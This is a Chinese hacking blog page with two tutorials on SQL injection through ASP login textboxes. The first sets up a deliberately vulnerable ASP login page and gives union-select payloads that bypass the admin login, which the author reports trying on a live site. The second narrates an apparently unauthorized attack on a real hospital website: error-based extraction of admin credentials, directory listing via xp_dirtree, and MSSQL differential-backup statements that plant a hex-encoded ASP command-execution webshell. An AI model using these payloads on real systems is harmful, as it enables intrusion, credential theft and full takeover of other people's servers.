浏览模式: 标准 | 列表Tag:登录框

文本框内注入

Submitted by admin
2009, November 8, 7:20 PM

lcx
当今ASP注入大行其道,网上随处可见注入方法的文章。但是这样的文章中的例子多数是针对x.asp?id=num这样的格式,对于一些表单元素像文本框内的注入方法提及很少。其实,有一些网站多数是过滤了id这样的参数值,却往往忽略了文本框这样的注入点;还有,有的后台密码是md5值,如果不能update密码值或破解不出来的话也头疼,这篇文章就是针对这样的注入点来提供几个思路。

[separator]

一、抓包转为常规注入

我写了个两个asp页,一个是e.asp,源码如下:

<form action=f.asp method=get>
密码:<input type=text size=100 name=password>
<input type=submit value=submit>
</form>

另一个是f.asp,源码如下:

<%   
strSQLServerName = "127.0.0.1" '服务器名称或地址
strSQLDBUserName = "sa" '数据库帐号
strSQLDBPassword = "lcx" '数据库密码
strSQLDBName = "bbs" '数据库名称
Set conn = Server.createObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
'连接MSSQL的句子,没什么好解释的,都和Access版的差不多
conn.open strCon

sql2="select * from bbsuser where password='"&request("password")&"'"
set rs2=server.createobject("adodb.recordset")
rs2.open sql2, conn,1,1
response.write rs2.recordcount & "<br />"
%>

<%="执行的SQL语句是:"&sql2%>
<p>
执行后的数据库资料:
<p>

<%do while not rs2.eof%>
<%="id="&rs2.fields("id")%><br>
<%="username="&rs2.fields("username")%><br>
<%="password="&rs2.fields("password")%><br>
<%rs2.movenext%>
<BR>
<%loop%>

<%
rs2.close
set rs2=nothing
conn.close
set conn=nothing
%>

源码应当一看就懂,就是在图1所示的密码框内添入密码进行查盾,如果密码对了的话就是图2所示的样子了(我的数据库库名是bbs,表名是bbsuser,列名是id、username、password,都是varchar 类型的,列名值分别1、admin,12345,大家最好拿这两个源码试一下就是明白了)。


我在e.asp里用的是get提交,所以直接得到了http://221.219.xxx.xxx/ef/f.asp?password=12345这个链接。如果网站用的是post提交,大家可以用抓包工具来得到链接。然后将得到的链接放在nbsi里注入就可以了。

值得注意的是有两点,无论你密码对不对,都是可以直接注入的,假如对方网站有注入点的话。第二点注意的是,有时候你无法用nbsi默认选项进行注入,此时你将nbsi的get提交方式转为post就可以了。这一招对付有的网站很灵的。

二、工具无法利用的情况下

有的时候,你会发现像图1中那样你添入错误的密码后,抓包得到的链接是无法注入的,非得需要一个正确的值才可以,这时候只能手工来确定了。可以这样,用●' having 1=1--●确定了第一个表名和字段名,如图3、图4所示。


在图4中可以看到得到了表名是bbsuser,第一个列名是id。然后再用●' group by bbsuser.id having 1=1--●来确定出第二个列名是username,依次再用●' group by bbsuser.id,bbsuser.username having 1=1--●来确定第三个列名,依次类推,很快会推算出当前表中所有的列名。
写这个的主要原因是有两个,一个是像nbsi或hdis等工具都没有用到此语句,第二个是如果工具可以跑的话,当你一下跑出了100多个表和库的时候,你可以用此语句快速判断像后台的登陆密码在哪个表中。

类似的语句还有●' union select sum(id) from bbsuser--●这样的来确定列名的类型。


值得注意的是我在f.asp中用到的语句是●select * from bbsuser where password='"&request("password")&"'"●,所以我在每个注入语句中前边都写了个单引号,是为了打破sql语句中的引号限制,实际注入的时候,你可以去掉单引号,直接用注入语句来试一下。

三、巧妙union查循直接进后台

应当最有创意的地方就在这里了,我拿一个网站来做实地测试,然后再讲一下原理。网站页面如图5所示。我在email框内写入1'union select 1--的时候,密码我任意写,结果如图6所示。暴出路径是它网站做的设置不好,与注入语句关系不大;它的主要意思是说包含 union 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。那么好,我就依个加1,当我试到'union select 1,1,1,1--的时候,密码我还是任意写,竟然直接进后台了,如图7所示。


为什么会是这样,我们回到e.asp和f.asp来做测试,我在图8所示内的文本框中添入了和前表名相等的1的个数(' union select 1,1,1--)后,可以看到图9所示的界面。图9中我们可以看到f.asp中语句中的●response.write rs2.recordcount●值是1,查循语句是●select * from bbsuser where password='' union select 1,1,1--'●,执行后得到的结果是●id=1、username=1、password=1●,是把union select 1,1,1中的1,1,1直接当作了数据库的一条记录了,所以我们通过了,进入后台了。当然这也要看源程序的具体写法了,像eof、end eof等的判断。


聪明的读者要问了,你这时只是用了一个假的密码,如果你用你原来的12345这个密码再来union查循呢? 那好,我写入12345 'union select 1,1,1--,如图10所示,看一下结果,如图11,由于前后的列名类型不符,竟然把username的值暴出来了。


那么我们让它相符,写入12345 'union select '1','1','1'--,得到的结果如图12所示,嘿嘿,数据库里竟然多了一条记录。f.asp中语句中的●response.write rs2.recordcount●值是2了。

这个方法在你无法破解md5的时候是很有用的,或也省去了用工具猜后台密码的时间。


值得注意的是,我只是在mssql中测试过,e.asp和f.asp都是针对mssql版的,access未试。

后台登入框注入拿shell

Submitted by admin
2009, November 6, 4:09 PM

By  Ay暗影

说明:文章的图片请点击以后放大观看,标点符号为了大家看得清用的是全角的,大家如果遇到站练习的时候请换成半角的英文符号!

        话说俺正在研究Java,正挠头迷茫中,朋友突然丢来一个站,说帮他日日站,前台都没有注入点,上传点也没有,说就后天有注入点,可是他说他手工功力不够,让俺来试试,于是,我就放下手中的活,打开了网站。
打开网站(网址就不发了,只讲过程),是一个医院的站点,看了下网站程序,是asp的,嘻嘻,asp的站日的比较多,对它有点亲切感,随便点了一个新闻链接,加上一个单引号,弹出了一个对话框
 
看来有点防范啊,为了确定是否是防注入系统,如果是的话,我们就可以试试cookie注入了,于是,我换个方法检测了下,就是
http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65&MainBcgID=102-0
在数字后加上减0,回车,弹出相同的提示对话框,分别提交
http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65-0&MainBcgID=102
http://www.xxx.com/kssz.asp?BcgID=104-0&ThatBcgID=65&MainBcgID=102
都是相同的提示,看来是程序过滤了,非防注入。
然后我就打开Google,搜索了下带有asp?id=的链接,结果都是一样,那注入就没戏了。
接下来,俺就拿出自己写的扫描工具扫描了下常见上传点,也没有发现,看来,只能向后台输入框进军了哈。
在后台输入一个单引号,随便输入密码,回车,报错了,哈
 
看来朋友说的没错,有戏啊,而且是mssql的,幸亏是mssql的,不然还拿不下呢(原因,后面会提到)
接着,按照常规步骤,开始注入了,但是俺是懒人,想偷点懒,于是抓包,想通过get方式来注入,这样可以让工具来代替人力啊,哈哈,
 
于是,组合下内容
www.xxx.com/login/default.asp?Submit=%B5%C7+%C2%BC&Userpwd=1& Username=1
可是老天就是不配合俺,这个方法在这里不行啊。哎,看来只能手工了,这个对俺来说相当痛苦了。
米办法,老实的一步一步来了。在输入框里输入’ having 1=1 and ‘’=’  回车,报错


嘻嘻,我得意的笑,这里,我们得到了表名和字段名,继续爆,输入’group by user_info.user_id having 1=1 and ‘’=’


 爆出了user_name,继续爆,’group by user_info.user_id ,user_info.user_name having 1=1 and ‘’=’
 
到这里就差不多了,我们要的关键字段都有了,表名也有了,该是爆内容了,输入
‘and 1=(select user_name from user_info) and ‘’=’ 爆出了用户名
 
然后用相同方法,输入’and 1=(select user_pwd from user_info) and ‘’=’ 爆出了密码,哈哈发现密码还是不加密的,那就更好了。
直接拿起密码进入后台
 
以为接下来就容易拿到shell了,随便找了一个上传点,试了下直接传,提示成功,哈哈,开心了,心道,今天rp不错的嘛,刚刚在手工那里费了点时间,现在刚刚补回来了,直接拿到shell了,于是拿着地址去打开,结果,当场吐血,为啥,因为上传路径的文件夹不让执行脚本啊
 
心里大骂这个管理员,shit,shit,shit他JJ,让老子白高兴一场。找了下其他图片的文件夹路径,都是一样,不让执行脚本。哎,苍天那,大地啊,你怎么可以这样对我啊。以为没办法那shell了,准备放弃了,和朋友一说,他说,是不是可以在后台进行差异备份拿shell呢,我一听,一拍大腿,对啊,MMB,我怎么没想到,哎,居然把后台的注入点是mssql这茬给忘了,鄙视下自己。
要差异备份首先要知道站点,哎,俺最头痛的手工又要开始了,话说到这里,插一句话,希望各位一定要好好学习sql哦,工具是死的,人是活的,手工厉害啊,虽然麻烦(观众:又开始装逼了,小心出门被雷劈啊…..我:哈哈,俺不怕,俺是绝缘体,没事没事…..忽然,天空一阵巨响,小影子被雷劈了。。。55555555,今天没看黄历啊)
开始猜路径了,过程是:建立一个表,通过xp_dirtree组件,把列出来的内容插入临时表,然后我们在一个一个把内容从临时表里读出来。
首先,我们建立一个表,输入’ create talbe tmp(id int identity(1,1),path varchar(255),depth int,isfile int ) and ‘’=’
然后,我们要确认下我们的表是否建立成功了,不然如果不成功的话,我们后面做的都是无用功了,哈。输入’ select * from tmp having 1=1 and ‘’=’,报错了,说明建表成功
 
接下来,就是插入内容了
  ‘insert into tmp exec master.dbo.xp_dirtree ‘d:\’,1,1 and ‘’=’
接着,就可以列目录了,输入
 ‘ and 1=(select path from tmp where id=N)  and ‘’=’ (N=1,2,3,4,5,……)
就列出了路径
  
改变N的值就可以列出了,重复过程就不写了,最后知道路径是D:\website\xxx.com\
接下来就是进行差异备份了,在输入框输入一次输入差异备份语句
'alter database hz3yy set RECOVERY FULL--
'Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])--
'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init--
'insert into banlg(cmd) values(0x3C256578656375746528726571756573742822636D64222929253E)--
'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C776562736974655C687A3379792E636F6D5C772E617370 backup log @a to disk=@s--
'Drop table [banlg]—
然后输入网址,输入http://www.xxx.com/ww.asp,熟悉的乱码界面出现了,哈哈,然后就是传shell了,图就不截了,嘻嘻。